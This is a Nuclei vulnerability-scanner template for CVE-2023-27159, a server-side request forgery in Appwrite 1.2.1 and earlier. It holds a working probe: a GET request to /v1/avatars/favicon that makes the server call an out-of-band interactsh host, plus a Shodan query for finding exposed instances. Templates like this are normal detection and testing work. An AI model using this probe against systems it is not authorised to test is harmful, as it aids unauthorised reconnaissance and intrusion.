nuclei-templates/http/cves/2023/CVE-2023-27159.yaml

42 lines
1.3 KiB
YAML

id: CVE-2023-27159
info:
name: Appwrite <=1.2.1 - Server-Side Request Forgery
author: DhiyaneshDk
severity: medium
description: |
Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
reference:
- https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
- https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
- https://nvd.nist.gov/vuln/detail/CVE-2023-27159
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-918
cve-id: CVE-2023-27159
metadata:
max-request: 1
verified: true
shodan-query: title:"Sign In - Appwrite"
tags: cve,cve2023,appwrite,ssrf,oast
http:
- method: GET
path:
- "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Appwrite-Server"
# Enhanced by md on 2023/04/20